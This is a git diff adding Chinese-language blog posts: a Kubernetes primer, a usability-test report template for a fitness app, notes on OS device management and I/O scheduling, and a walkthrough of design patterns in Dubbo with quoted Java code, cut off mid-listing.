中的所有容器必须一起扩展,无论它们的个人需求如何。这会导致资源浪费和昂贵的账单。为了解决这个问题,pod 应该尽可能小,通常只包含一个主进程及其紧密耦合的辅助容器(这些辅助容器通常称为“side-cars”)。 + +## Deployments + +![img](https://miro.medium.com/max/630/1*iTAVk3glVD95hb-X3HiCKg.png) + +Although pods are the basic unit of computation in Kubernetes, they are not typically directly launched on a cluster. Instead, pods are usually managed by one more layer of abstraction: the **deployment** + +尽管 Pod 是 Kubernetes 中的基本计算单元,但它们通常不会直接在集群上启动。相反,Pod 通常由另一层抽象管理:**部署** + +A deployment’s primary purpose is to declare how many replicas of a pod should be running at a time. When a deployment is added to the cluster, it will automatically spin up the requested number of pods, and then monitor them. If a pod dies, the deployment will automatically re-create it. + +部署的主要目的是声明一次应该运行多少个 pod 副本。当部署添加到集群时,它会自动启动请求数量的 pod,然后监控它们。如果 pod 死亡,部署将自动重新创建它。 + +Using a deployment, you don’t have to deal with pods manually. You can just declare the desired state of the system, and it will be managed for you automatically. + +使用部署,您不必手动处理 pod。您只需声明系统所需的状态,它将自动为您管理。 + +## Ingress + +![img](https://miro.medium.com/max/630/1*tBJ-_g4Mk5OkfzLEHrRsRw.png) + +Using the concepts described above, you can create a cluster of nodes, and launch deployments of pods onto the cluster. There is one last problem to solve, however: allowing external traffic to your application. + +使用上述概念,您可以创建节点集群,并将 pod 部署到集群上。然而,还有最后一个问题需要解决:允许外部流量进入您的应用程序。 + +By default, Kubernetes provides isolation between pods and the outside world. If you want to communicate with a service running in a pod, you have to open up a channel for communication. This is referred to as ingress. + +默认情况下,Kubernetes 提供 pod 和外部世界之间的隔离。如果要与运行在 pod 中的服务进行通信,则必须打开通信通道。这被称为入口。 + +There are multiple ways to add ingress to your cluster. The most common ways are by adding either an [Ingress](https://kubernetes.io/docs/concepts/services-networking/ingress/) controller, or a [LoadBalancer](https://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/). The exact tradeoffs between these two options are out of scope for this post, but you must be aware that ingress is something you need to handle before you can experiment with Kubernetes. + +有多种方法可以向集群添加入口。最常见的方法是添加[Ingress](https://kubernetes.io/docs/concepts/services-networking/ingress/)控制器或[LoadBalancer](https://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/)。这两个选项之间的确切权衡超出了本文的范围,但您必须意识到,在您尝试 Kubernetes 之前,您需要处理入口。 diff --git a/_posts/2022-11-19-test-markdown.md b/_posts/2022-11-19-test-markdown.md new file mode 100644 index 000000000000..608ea660502a --- /dev/null +++ b/_posts/2022-11-19-test-markdown.md @@ -0,0 +1,356 @@ +--- +layout: post +title: 可用性测试报告怎么写? +subtitle: +tags: [IO] +--- +# 可用性测试报告 + +## 1.项目介绍 + +#### 『研究背景』: + +这是是一款GPS功能的健身跟踪app,让忙碌的人能够迅速制定运动目标和朋友一起完成。当我第一次开始使用app时为精心设计的用户界面感到惊喜。作为一个健身爱好者和产品设计师,我决定看看是否有任何我可以做的以改善用户体验 + +#### 『研究对象和范围』: + +运动板块:快速打卡片各项运动 + +社区模块:快速发布动态 + +饮食模块:食物热量、体重管理 + +个人模块:修改信息,快速注销。快速退出 + +健身课程模块:快速跟练、快速退出 + +一共5个板块 + +#### 『研究方法』: + +可用性质测试及问卷打分 + +## 2.测试执行概述 + +#### 条件设备: + +地点:华中师范大学南湖校区 N526教室 + +硬件:笔记本电脑 + +#### 被测试的目标用户基本信息: + +人数:20人 + +受访对象:在其他健身平台有过健身打卡、体重管理、饮食管理等相关经历的人 + +29岁以下39% 30~39岁以下47% 40~49岁以下13% 50岁以下7% + +30~49岁以上的用户目的性比较强,希望快速完成目标,更加在意处理问题的效率 + +29岁以下用户,细致认真,会进行比较个挑选。 + +#### 测试流程: + +| (1.)与用户沟通,介绍环境 | +| -------------------------- | +| (2.)签订保密协议 | +| (3.)介绍测试内容 | +| (4.)用户填写个人信息 | +| (5.)测试,任务后问卷 | +| (6.)测试后问卷 | +| (7.)填写数据 | + + + +#### 测试时间安排: + +| 时间段 | 计划内容 | +| ------------ | -------------------------- | +| 11.5~11.10 | 确定小组成员,做测试前准备 | +| 11.10~11.13 | 招募用户 | +| 11.16~11.17 | 测试并进行数据分析 | +| 11.18~11.20 | 测试报告 | + + + +| 用户 | 时间 | +| ---- | ---- | +| | | +| | | +| | | +| | | + + + +##### 任务卡片1:登陆注册修改密码 + +> 场景描述: +> +> 假如您是一名准备开始减肥的人士,准备在暑假减肥10斤。 +> +> 任务列表: +> +> 1.根据任务卡片提供的帐号和密码,完成登陆操作。 +> +> (帐号:15102769214)密码:7777 +> +> 2.修改账户密码 +> +> 3.退出 + +##### 任务卡片2:制定健身计划 + +> 场景描述: +> +> 假如您是一名准备开始减肥的人士,准备在暑假减肥10斤。 +> +> 任务列表: +> +> 1.开始跑步 +> +> 2.查看自己今天一共跑了多少公里 +> +> 3.查看自己今天跑的公里大概是多少的热量 +> +> 4.查看其他的健身运动,比如瑜伽 +> +> 5.查看自己练习瑜伽练习了多长时间 +> +> 6.开始练习的时候发布弹幕 + +##### 任务卡片3:制定饮食计划 + +> 场景描述: +> +> 假如您是一名准备开始减肥的人士,准备在暑假减肥10斤。 +> +> 任务列表: +> +> 1.记录早、中、晚饮食消耗的热量 +> +> 2.查询一下一碗米饭的热量 +> +> 3.制定自己早、中、晚饮食消耗的热量的目标 +> +> 4.根据自己的体重查找适合自己的饮食推荐组合 + +##### 任务卡片4:与其他用户进行互动 + +> 场景描述: +> +> 假如您是喜欢社交的人,希望看到自己发布的动态并和其他人交朋友 +> +> 任务列表: +> +> 1.发布一条动态:选择相册的一张照片,配文:减肥第一天。 +> +> 2.查看其他用户发布的动态 +> +> 3.点赞其他用户发布的动态 +> +> 4.评论其他用户发布的动态 +> +> 5.关注一个自己感兴趣的用户 +> +> 6.给刚刚关注的用户发送一条消息,向她询问她的健身计划 + +##### 任务卡片5:查询历史动态 + +> 场景描述: +> +> 假如您某天心情不好,不想让粉丝看到自己发布过的某条动态 +> +> 1.看一下自己都发布过哪些动态 +> +> 2.删除一条自己发布过的动态 +> +> 3.删除自己发布过的动态下面的其他用户的评论 +> +> 4.将自己曾经发布过的某条动态设置为仅自己可见 + +##### 任务卡片6:帐号管理 + +> 1.退出帐号 +> +> 2.重新登陆后注销帐号 + +##### + +### 测试的任务 + +通过用户自身对产品的使用过程的回顾,探究用户在各个业务旅程场景钟家的痛点和需求 + +### 测试任务的脚本 + +#### 独立任务: + +1. 夏天来了,想要在穿好看的裙子或者是展示出强壮的腹肌,想要在一个月内减肥15斤,该怎么做? +2. 想要看看上一个月哪些天都运动,哪些天又没有? +3. 想要发布一则自己健身的动态? +4. 想要看看谁关注了? +5. 想要记录的跑步里程,该怎么做? +6. 想要看看曾经发布过的历史动态,该怎么做? +7. 看上一周都运动了多长时间,该怎么做? +8. 想要看看自己都关注了谁,该怎么做? +9. 想要跟着专业的健身课程训练,该怎么做? + +## 3.测试过程记录 + +#### 过程记录文档 + + + +#### 任务卡片 + + + +#### 主持人记录表格 + +| 所属板块 | 问题描述 | 问题类型 | 发生频率 | 其他 | +| -------- | -------- | -------- | -------- | ---- | +| | | | | | +| | | | | | +| | | | | | +| | | | | | +| | | | | | +| | | | | | +| | | | | | + + + +可用性测量维度 + +> 根据需要获得的信息,结合常见用户体验评估指标,针对下列指标进行有效度量:**易用性**(effectiveness):用户完成从【发现 — 选择 — 使用】过程中,操作的精确性。**任务效率(efficiency):**用户完成运动打卡、用户互动、发布动态、填写个人信息、查询运动历史记录所耗的时间和跳出率。**满意度(satisfaction)**:利用评分得出用户使用这款健身产品各项功能的接受程度和完成效果。 + + + +##### **HEART模型(用户行为-定量分析)** + +| 任务完成率 | 任务时间 | 任务步骤 | 出错发生 | +| ---------- | -------- | -------- | -------- | +| | | | | +| | | | | +| | | | | +| | | | | +| | | | | +| | | | | +| | | | | + +具体调查表格 + +1.对动态发布功能打分 + +| 调研纬度 | 非常不满意 | 不满意 | 一般 | 满意 | 非常满意 | +| -------------- | ---------- | ------ | ---- | ---- | -------- | +| 美观度 | | | | | | +| 操作的难易程度 | | | | | | +| 重复使用的意愿 | | | | | | + +2.对课程跟练功能打分 + +| 调研纬度 | 非常不满意 | 不满意 | 一般 | 满意 | 非常满意 | +| -------------- | ---------- | ------ | ---- | ---- | -------- | +| 美观度 | | | | | | +| 操作的难易程度 | | | | | | +| 重复使用的意愿 | | | | | | + +3.对课程跟练功能打分 + +| 调研纬度 | 非常不满意 | 不满意 | 一般 | 满意 | 非常满意 | +| -------------- | ---------- | ------ | ---- | ---- | -------- | +| 美观度 | | | | | | +| 操作的难易程度 | | | | | | +| 重复使用的意愿 | | | | | | + +4.对课程跟练功能打分 + +| 调研纬度 | 非常不满意 | 不满意 | 一般 | 满意 | 非常满意 | +| -------------- | ---------- | ------ | ---- | ---- | -------- | +| 美观度 | | | | | | +| 操作的难易程度 | | | | | | +| 重复使用的意愿 | | | | | | + +5.对课程跟练功能打分 + +| 调研纬度 | 非常不满意 | 不满意 | 一般 | 满意 | 非常满意 | +| -------------- | ---------- | ------ | ---- | ---- | -------- | +| 美观度 | | | | | | +| 操作的难易程度 | | | | | | +| 重复使用的意愿 | | | | | | + + + + + +##### **LIFT模型(用户行为-定性分析)** + +| 是否符合用户需求? | 是否方便用户解读? | 是否为用户态度带来正面影响? | 是否为用户态度带来负面影响? | 是否为方便用户形成决策? | +| ------------------ | ------------------ | ---------------------------- | ---------------------------- | ------------------------ | +| | | | | | +| | | | | | +| | | | | | +| | | | | | +| | | | | | +| | | | | | +| | | | | | + + + +1.是否在其他平台使用过类似的健身APP? + +2.在什么场景下使用? + +3.平时使用什么方式来管理自己的体重? + +4.觉得哪些功能使用起来不方便又困难? + +5.跟练课程时,会感到不方便吗? + + + +##### **NPS&满意度(用户态度-定量分析)** + +| 满意程度如何? | 是否再次使用? | 是否推荐给别人使用? | 易用程度如何? | 美观度如何? | +| -------------- | -------------- | -------------------- | -------------- | ------------ | +| | | | | | +| | | | | | +| | | | | | +| | | | | | +| | | | | | +| | | | | | +| | | | | | + + + +##### **设计评估满意度(用户感知-定性+定量分析)** + +| 是否符合品牌调性? | 是否符合用户偏好习惯? | 是否传递了设计初衷心? | 是否提高了效率? | 是否促进了转化? | 是否能被记忆? | +| ------------------ | ---------------------- | ---------------------- | ---------------- | ---------------- | -------------- | +| | | | | | | +| | | | | | | +| | | | | | | +| | | | | | | +| | | | | | | +| | | | | | | +| | | | | | | + + + + + +### 测试材料 + + + +## 4.测试后问卷分析 + + + +## 5.可用性问题总计分析 + + + +## 6.总结 + + diff --git a/_posts/2022-11-20-test-markdown.md b/_posts/2022-11-20-test-markdown.md new file mode 100644 index 000000000000..3367df440045 --- /dev/null +++ b/_posts/2022-11-20-test-markdown.md @@ -0,0 +1,183 @@ +--- +layout: post +title: 设备管理? +subtitle: +tags: [IO] +--- + +# 设备管理 + +## 1.设备控制器 + +为了屏蔽设备的差异,每个设备都有一个(设备控制器)的组件,比如硬盘-『硬盘控制器』『显示器有视频控制器』因为这些控制器都很清楚的知道对应设备的⽤法和功能,所以 CPU 是通过设备控制器来和设备打交道的。 + +#### 设备控制器李有什么? + +1.有芯片,用来执行自己的逻辑, 2.有寄存器,用来和 CPU 进行通信 3.有数据缓冲区 + +#### 操作系统是怎么做的? + +操作系统是怎么做的? 1.写入寄存器。操作系统通过写入寄存器来操作设备发送数据,接收数据,开启和关闭寄存器,或者执行其他的操作。 2.读取寄存器。操作系统通过读取寄存器来了解设备的状态,判断设备是否准备好了接收新的命令。 + +#### 设备控制器里有哪些寄存器? + +设备控制器有三类寄存器: 1.状态寄存器 2.命令寄存器 3.数据寄存器 +CPU 通过**读写设备控制器**的**寄存器**来控制设备,这可比 CPU 直接控制输入输出设备要方便很多。 + +#### 输入输出设备分为哪些类? + +输入输出设备分为两大类: 1.块设备 (把数据存储在固定大小的块中间,每个块都有自己的地址)设备,USB 是常见的块设备。 2.字符设备(以字符为单位接受或者发送一个字符流,字符设备是不可以寻址,也没有任何的寻址操作,鼠标是常见的字符设备。) + +#### 设备控制器里面的数据缓冲区和控制寄存器如何通信(CPU 让他们进行通信) + +1.端口 I/O +每个寄存器被分配一个 I/O 端口,通过特殊的汇编命令操作这些寄存器. 2.内存映射 +所有的控制寄存器映射到内存空间,像读写内存那样读写数据缓冲区。 + +## 2.I/0 控制方式 + +每种设备都有⼀个设备控制器,这个设备控制器相当于一个**小型 CPU**,他可以独立处理一些事。 +问题:CPU 发送一个指令给设备,让设备控制器去读取设备的数据,那么设备控制器读完的时候如何通知 CPU? + +#### CPU 通过『轮询等待』判断设备控制器是否读完 + +CPU 一直查询设备控制器里面的寄存器的状态,直到状态标记完成。很明显,这种 +⽅式⾮常的傻⽠,它会占⽤ CPU 的全部时间 + +#### 硬件的中断控制器通过 『中断』去通知 CPU 已经读完 + +> 设备有 1.设备控制器 2.中断控制器 +> 一般硬件都有一个**硬件的中断控制器**,当任务完成,触发硬件的中断控制器,中断控制器通知 CPU,一个中断产⽣了,CPU 需要停下当前⼿⾥的事情来处理中断。 + +> 中断控制器的两种中断 :1.软中断。代码调⽤ INT 指令触发 2.硬件中断。硬件通过中断控制器触发的 + +#### 『DMA 控制器』硬件支持 使得设备在没有 CPU 参与的情况下自行的把 I/O 数据放到内存 + +但中断的⽅式对于频繁读写数据的磁盘,并不友好,这样 CPU 容易经常被打断,会占⽤ CPU ⼤量的时间。对于这⼀类设备的问题的解决⽅法是使⽤ DMA(Direct MemoryAccess) 功能,它可以使得设备在 CPU 不参与的情况下,能够⾃⾏完成把设备 I/O 数据放⼊到内存。那要实现 DMA 功能要有 「DMA 控制器」硬件的⽀持。 +DMA 工作方式如下: + +- CPU 对 DMA 控制器下指令,告诉它想读取多少的数据,读完的数据放在内存的某个地方 +- DMA 控制器 向磁盘控制器发出指令,通知磁盘控制器从磁盘读取数据到磁盘内部的缓冲区,接着磁盘控制器把缓冲区的数据传输到内存 +- 磁盘控制器 把数据传输到内存, 磁盘控制器 向地址总线发出确认成功的信号给 DMA 控制器 +- DMA 控制器 接收到信号,然后 DMA 控制器发中断通知 CPU 指令已经完成 +- CPU 现在可以使用内存中的数据了。 + 可以看到, CPU 当要读取磁盘数据的时候,只需给 DMA 控制器发送指令,然后返回去做其他事情,当磁盘数据拷⻉到内存后,DMA 控制机器通过中断的⽅式,告诉 CPU 数据已经准备好了,可以从内存读数据了。仅仅在传送开始和结束时需要 CPU ⼲预。 + +## 3.设备驱动程序 + +设备控制器**屏蔽设备**的细节,设备驱动程序**屏蔽设备控制器**的差异。因为设备控制器的寄存器、缓冲区的使用模式都是不同的,所以为了屏蔽『设备控制器』的差异,引入了设备驱动程序。 +设备控制器不属于操作系统范畴,属于硬件。设备驱动程序属于操作系统。 + +#### 设备驱动程序是什么? + +『设备驱动程序』调用『设备控制器』的方法来实现操作物理设备,『设备驱动程序』处理中断,并根据中断类型调用中 +『设备驱动程序』是『操作系统』面向设备的『设备控制器』的代码,驱动程序发出指令才能操作设备控制器。不同的设备控制器虽然功能不同,但是,**设备驱动程序会提供统一的接口给操作系统**,不同的设备驱动程序,以相同的方式接入操作系统。 + +#### 设备驱动程序响应设备控制器发出的中断,并根据中断类型调用相应的中断处理程序 + +设备驱动程序初始化的时候,注册一个该设备的中断处理函数。 + +#### 中断处理程序的处理流程 + +1.设备如果准备好数据,则通过中断控制器向 CPU 发送中断请求 2.保护被中断进程的处理函数 3.转⼊相应的设备中断处理函数 4.进行中断处理 5.恢复被中断进程的上下文 + +```go +type InterruptHandle func (){} +// 设备控制器材 +type EquipmentControl struct{ + CPU *CPU + InterruptHandle InterruptHandle +} + +func NewEquipmentControl()*EquipmentControl{ + return &EquipmentControl{} +} + +// 发出中断 +func (e *EquipmentControl) Interrupt(){ + e.CPU.SaveContext() + // 按道理来说应该是通过设备的驱动程序来调用这个处理函数,而不是设备控制器 + e.InterruptHandle() + e.CPU.RecoverContext() +} + +// 模拟CPU +type CPU struct{ + +} + +func (c *CPU )SaveContext(){ + +} +func (c *CPU )RecoverContext(){ + +} + + +func Test(){ + NewEquipmentControl().Interrupt() +} + + +``` + +## 4.通用块层 + +对于块设备,为了减少不同块设备的差异带来的影响,Linux 通过⼀个统⼀的通⽤块层,来管理不同的**块设备**。(还记得设备的两大类吗?块设备和字符设备) +通⽤块层是处于⽂件系统和磁盘驱动中间的⼀个**块设备抽象层**,它主要有两个功能: 1.向上为文件系统和应用程序,提供访问块设备的标准接口,向下把不同的磁盘设备都抽象成统一的块设备,并且在内核层面提供一个框架来管理这些设备。 2.通用块层把来自**文间系统**和**应用程序**请求排队,接着对队列重新排序、请求合并、也就是 I/O 调度,主要是为了磁盘的读写效率。 + +#### 5 个 I/O 调度算法 + +- 没有调度算法 +- 先⼊先出调度算法 +- 完全公平调度算法 +- 优先级调度 +- 最终期限调度算法 + +第⼀种,没有调度算法,是的,没听错,它不对⽂件系统和应⽤程序的 I/O 做任何处理,这种算法常⽤在**虚拟机 I/O 中**,此时磁盘 I/O 调度算法交由物理机系统负责。 + +第⼆种,**先⼊先出 I/O 调度**算法,这是最简单的 I/O 调度算法,先进⼊ I/O 调度队列的 I/O 请求先发⽣。『那个进程的 I/O 请求先进入,先执行哪个』 + +第三种,**完全公平 I/O 调度**算法,⼤部分系统都把这个算法作为默认的 I/O 调度器,它为每个进程维护了⼀个 I/O 调度队列,并按照**时间⽚来均匀分布每个进程的 I/O 请求**。『时间片均匀的分布在每个进程的 I/O 请求中』 + +第四种,**优先级 I/O 调度**算法,顾名思义,优先级⾼的 I/O 请求先发⽣, 它适⽤于运⾏⼤量进程的系统,像是桌⾯环境、多媒体应⽤等。 + +第五种,**最终期限 I/O 调度**算法,分别为读、写请求创建了不同的 I/O 队列,这样可以提⾼机械磁盘的吞吐量,并确保达到最终期限的请求被优先处理,适⽤于在 I/O 压⼒⽐较⼤的场景,⽐如数据库等。『两个 I/0 请求队列』 + +## 5.存储系统 I/0 软件分层 + +前⾯说到了不少东⻄,设备、设备控制器、驱动程序、通⽤块层,现在再结合⽂件系统原理,我们来看看 Linux 存储系统的 I/O 软件分层。 +可以把 Linux 存储系统的 I/O 由上到下可以分为三个层次,分别是⽂件系统层、通⽤块层、设备层。他们整个的层次关系如下图: +用户空间 ------- 用户程序 +内核空间 -------文件系统接口 +虚拟文件系统 +文件系统(ext4 nfs) +页缓存 +通用块层 +块设备 I/0 调度层 +块设备驱动程序 +物理硬件 ------块设备中断控制 +块设备控制 +磁盘设备 + +- ⽂件系统层,包括虚拟⽂件系统和其他⽂件系统的具体实现,它向上为应⽤程序统⼀提供了标准的⽂件访问接⼝,向下会通过通⽤块层来存储和管理磁盘数据。 +- 通⽤块层,包括块设备的 I/O 队列和 I/O 调度器,它会对⽂件系统的 I/O 请求进⾏排队,再通过 I/O 调度器,选择⼀个 I/O 发给下⼀层的设备层。 + +- 设备层,包括硬件设备、设备控制器和驱动程序,负责最终物理设备的 I/O 操作 + 有了⽂件系统接⼝之后,不但可以通过⽂件系统的命令⾏操作设备,也可以通过应⽤程序,调⽤ read 、 write 函数,就像读写⽂件⼀样操作设备,所以说设备在 Linux 下,也只是⼀个特殊的⽂件。 +- 但是,除了读写操作,还需要有检查特定于设备的功能和属性。于是,需要 ioctl 接⼝,它表示输⼊输出控制接⼝,是⽤于配置和修改特定设备属性的通⽤接⼝。 +- 另外,存储系统的 I/O 是整个系统最慢的⼀个环节,所以 Linux 提供了不少缓存机制来提⾼ I/O 的效率。为了提⾼⽂件访问的效率,会使⽤⻚缓存、索引节点缓存、⽬录项缓存等多种缓存机制,⽬的是为了减少对块设备的直接调⽤。为了提⾼块设备的访问效率, 会使⽤缓冲区,来缓存块设备的数据。 + +## 6.键盘敲⼊字⺟时,期间发⽣了什么? + +1. 键盘控制器扫描输入数据,并将其缓冲在键盘控制器的寄存器中 +2. 键盘控制器通过总线给 CPU 发送中断请求。 +3. CPU 收到中断请求后,操作系统会保存被中断进程的 CPU 上下⽂, +4. CPU 通过调用键盘的驱动程序调用键盘的中断处理函数(键盘的中断处理程序是在键盘驱动程序初始化时注册的,然后通过键盘驱动程序 调⽤键盘的中断处理程序。 ) +5. 中断处理函数从键盘控制器的寄存器**读取**扫描码,然后根据扫描码找到⽤户在键盘输⼊的字符,如果输入的字符是显示字符,那么扫描码翻译成对应显示字符的 ASCII 码 +6. 中断处理函数**把数据放到**「读缓冲区队列」 +7. 显示设备的驱动程序会定时从「读缓冲区队列」**读取数据**放到「写缓冲 + 区队列」 +8. 显示设备的驱动程序把「写缓冲区队列」的数据⼀个⼀个写⼊到显示设备的控制器的寄存器中的数据缓冲区,最后将这些数据显示在屏幕⾥. + +**中断处理程序负责把键盘控制器的数据读出并放到读缓冲队列,然后显示设备从读缓冲队列读出数据,写入数据到显示设备的寄存器。**显示出结果后,恢复被中断进程的上下⽂。 diff --git a/_posts/2022-11-21-test-markdown.md b/_posts/2022-11-21-test-markdown.md new file mode 100644 index 000000000000..cb22a8dab174 --- /dev/null +++ b/_posts/2022-11-21-test-markdown.md @@ -0,0 +1,1568 @@ +--- +layout: post +title: DUBBO中的设计模式? +subtitle: +tags: [设计模式] +--- + +# DUBBO 中的设计模式 + +Dubbo 框架设计概览 + +## 1.抽象工厂模式 + +```java +@SPI("javassist") +public interface ProxyFactory { + + // 针对consumer端,创建出代理对象 + @Adaptive({Constants.PROXY_KEY}) + T getProxy(Invoker invoker) throws RpcException; + + // 针对consumer端,创建出代理对象 + @Adaptive({Constants.PROXY_KEY}) + T getProxy(Invoker invoker, boolean generic) throws RpcException; + + // 针对provider端,将服务对象包装成一个Invoker对象 + @Adaptive({Constants.PROXY_KEY}) + Invoker getInvoker(T proxy, Class type, URL url) throws RpcException; +} + + +``` + +```java + +public abstract class AbstractProxyFactory implements ProxyFactory { + private static final Class[] INTERNAL_INTERFACES = new Class[]{ + EchoService.class, Destroyable.class + }; + + private static final ErrorTypeAwareLogger logger = LoggerFactory.getErrorTypeAwareLogger(AbstractProxyFactory.class); + + @Override + public T getProxy(Invoker invoker) throws RpcException { + return getProxy(invoker, false); + } + + @Override + public T getProxy(Invoker invoker, boolean generic) throws RpcException { + // when compiling with native image, ensure that the order of the interfaces remains unchanged + LinkedHashSet> interfaces = new LinkedHashSet<>(); + ClassLoader classLoader = getClassLoader(invoker); + + String config = invoker.getUrl().getParameter(INTERFACES); + if (StringUtils.isNotEmpty(config)) { + String[] types = COMMA_SPLIT_PATTERN.split(config); + for (String type : types) { + try { + interfaces.add(ReflectUtils.forName(classLoader, type)); + } catch (Throwable e) { + // ignore + } + + } + } + + Class realInterfaceClass = null; + if (generic) { + try { + // find the real interface from url + String realInterface = invoker.getUrl().getParameter(Constants.INTERFACE); + realInterfaceClass = ReflectUtils.forName(classLoader, realInterface); + interfaces.add(realInterfaceClass); + } catch (Throwable e) { + // ignore + } + + if (GenericService.class.equals(invoker.getInterface()) || !GenericService.class.isAssignableFrom(invoker.getInterface())) { + interfaces.add(com.alibaba.dubbo.rpc.service.GenericService.class); + } + } + + interfaces.add(invoker.getInterface()); + interfaces.addAll(Arrays.asList(INTERNAL_INTERFACES)); + + try { + return getProxy(invoker, interfaces.toArray(new Class[0])); + } catch (Throwable t) { + if (generic) { + if (realInterfaceClass != null) { + interfaces.remove(realInterfaceClass); + } + interfaces.remove(invoker.getInterface()); + + logger.error(PROXY_UNSUPPORTED_INVOKER, "", "", "Error occur when creating proxy. Invoker is in generic mode. Trying to create proxy without real interface class.", t); + return getProxy(invoker, interfaces.toArray(new Class[0])); + } else { + throw t; + } + } + } + + public abstract T getProxy(Invoker invoker, Class[] types); +} + +``` + +```java +public class JavassistProxyFactory extends AbstractProxyFactory { + private static final ErrorTypeAwareLogger logger = LoggerFactory.getErrorTypeAwareLogger(JavassistProxyFactory.class); + private final JdkProxyFactory jdkProxyFactory = new JdkProxyFactory(); + + @Override + @SuppressWarnings("unchecked") + public T getProxy(Invoker invoker, Class[] interfaces) { + try { + return (T) Proxy.getProxy(interfaces).newInstance(new InvokerInvocationHandler(invoker)); + } catch (Throwable fromJavassist) { + // try fall back to JDK proxy factory + try { + T proxy = jdkProxyFactory.getProxy(invoker, interfaces); + logger.error(PROXY_FAILED_JAVASSIST, "", "", "Failed to generate proxy by Javassist failed. Fallback to use JDK proxy success. " + + "Interfaces: " + Arrays.toString(interfaces), fromJavassist); + return proxy; + } catch (Throwable fromJdk) { + logger.error(PROXY_FAILED_JAVASSIST, "", "", "Failed to generate proxy by Javassist failed. Fallback to use JDK proxy is also failed. " + + "Interfaces: " + Arrays.toString(interfaces) + " Javassist Error.", fromJavassist); + logger.error(PROXY_FAILED_JAVASSIST, "", "", "Failed to generate proxy by Javassist failed. Fallback to use JDK proxy is also failed. " + + "Interfaces: " + Arrays.toString(interfaces) + " JDK Error.", fromJdk); + throw fromJavassist; + } + } + } +} +``` + +```java +/** + * JdkRpcProxyFactory + */ +public class JdkProxyFactory extends AbstractProxyFactory { + + @Override + @SuppressWarnings("unchecked") + public T getProxy(Invoker invoker, Class[] interfaces) { + return (T) Proxy.newProxyInstance(invoker.getInterface().getClassLoader(), interfaces, new InvokerInvocationHandler(invoker)); + } + + @Override + public Invoker getInvoker(T proxy, Class type, URL url) { + return new AbstractProxyInvoker(proxy, type, url) { + @Override + protected Object doInvoke(T proxy, String methodName, + Class[] parameterTypes, + Object[] arguments) throws Throwable { + Method method = proxy.getClass().getMethod(methodName, parameterTypes); + return method.invoke(proxy, arguments); + } + }; + } + +} +``` + +在 RPC 框架中,客户端发送请求和服务端执行请求的过程都是由代理类来完成的。客户端的代理对象叫做 Client Stub,服务端的代理对象叫做 Server Stub。 + +在 Dubbo 中用了 ProxyFactory 来创建这 2 个相关的对象,有两种实现一种是基于 jdk 动态代理,一种是基于 javaassist + +## 2.**适配器模式** + +Dubbo 可以支持多个日志框架,每个日志框架的实现都有对应的 Adapter 类,为什么要搞 Adapter 类呢,因为 Dubbo 中日志接口 Logger 用的是自己的,而实现类是引入的。但这些日志实现类的等级和 Dubbo 中定义的日志等级并不完全一致,例如 JdkLogger 中并没有 trace 和 debug 这个等级,所以要用 Adapter 类把 Logger 中的等级对应到实现类中的合适等级。 + +```java +/** + * Logger provider + */ +@SPI(scope = ExtensionScope.FRAMEWORK) +public interface LoggerAdapter { + + Logger getLogger(Class key); + + Logger getLogger(String key); + + Level getLevel(); + + void setLevel(Level level); + + File getFile(); + + void setFile(File file); +} +``` + +```java +public class Log4jLoggerAdapter implements LoggerAdapter { + + private File file; + + @SuppressWarnings("unchecked") + public Log4jLoggerAdapter() { + try { + org.apache.log4j.Logger logger = LogManager.getRootLogger(); + if (logger != null) { + Enumeration appenders = logger.getAllAppenders(); + if (appenders != null) { + while (appenders.hasMoreElements()) { + Appender appender = appenders.nextElement(); + if (appender instanceof FileAppender) { + FileAppender fileAppender = (FileAppender) appender; + String filename = fileAppender.getFile(); + file = new File(filename); + break; + } + } + } + } + } catch (Throwable t) { + } + } + + private static org.apache.log4j.Level toLog4jLevel(Level level) { + if (level == Level.ALL) { + return org.apache.log4j.Level.ALL; + } + if (level == Level.TRACE) { + return org.apache.log4j.Level.TRACE; + } + if (level == Level.DEBUG) { + return org.apache.log4j.Level.DEBUG; + } + if (level == Level.INFO) { + return org.apache.log4j.Level.INFO; + } + if (level == Level.WARN) { + return org.apache.log4j.Level.WARN; + } + if (level == Level.ERROR) { + return org.apache.log4j.Level.ERROR; + } + // if (level == Level.OFF) + return org.apache.log4j.Level.OFF; + } + + private static Level fromLog4jLevel(org.apache.log4j.Level level) { + if (level == org.apache.log4j.Level.ALL) { + return Level.ALL; + } + if (level == org.apache.log4j.Level.TRACE) { + return Level.TRACE; + } + if (level == org.apache.log4j.Level.DEBUG) { + return Level.DEBUG; + } + if (level == org.apache.log4j.Level.INFO) { + return Level.INFO; + } + if (level == org.apache.log4j.Level.WARN) { + return Level.WARN; + } + if (level == org.apache.log4j.Level.ERROR) { + return Level.ERROR; + } + // if (level == org.apache.log4j.Level.OFF) + return Level.OFF; + } + + @Override + public Logger getLogger(Class key) { + return new Log4jLogger(LogManager.getLogger(key)); + } + + @Override + public Logger getLogger(String key) { + return new Log4jLogger(LogManager.getLogger(key)); + } + + @Override + public Level getLevel() { + return fromLog4jLevel(LogManager.getRootLogger().getLevel()); + } + + @Override + public void setLevel(Level level) { + LogManager.getRootLogger().setLevel(toLog4jLevel(level)); + } + + @Override + public File getFile() { + return file; + } + + @Override + public void setFile(File file) { + + } + +} +``` + +```java +public class JdkLoggerAdapter implements LoggerAdapter { + + private static final String GLOBAL_LOGGER_NAME = "global"; + + private File file; + + public JdkLoggerAdapter() { + try { + InputStream in = Thread.currentThread().getContextClassLoader().getResourceAsStream("logging.properties"); + if (in != null) { + LogManager.getLogManager().readConfiguration(in); + } else { + System.err.println("No such logging.properties in classpath for jdk logging config!"); + } + } catch (Throwable t) { + System.err.println("Failed to load logging.properties in classpath for jdk logging config, cause: " + t.getMessage()); + } + try { + Handler[] handlers = java.util.logging.Logger.getLogger(GLOBAL_LOGGER_NAME).getHandlers(); + for (Handler handler : handlers) { + if (handler instanceof FileHandler) { + FileHandler fileHandler = (FileHandler) handler; + Field field = fileHandler.getClass().getField("files"); + File[] files = (File[]) field.get(fileHandler); + if (files != null && files.length > 0) { + file = files[0]; + } + } + } + } catch (Throwable t) { + } + } + + private static java.util.logging.Level toJdkLevel(Level level) { + if (level == Level.ALL) { + return java.util.logging.Level.ALL; + } + if (level == Level.TRACE) { + return java.util.logging.Level.FINER; + } + if (level == Level.DEBUG) { + return java.util.logging.Level.FINE; + } + if (level == Level.INFO) { + return java.util.logging.Level.INFO; + } + if (level == Level.WARN) { + return java.util.logging.Level.WARNING; + } + if (level == Level.ERROR) { + return 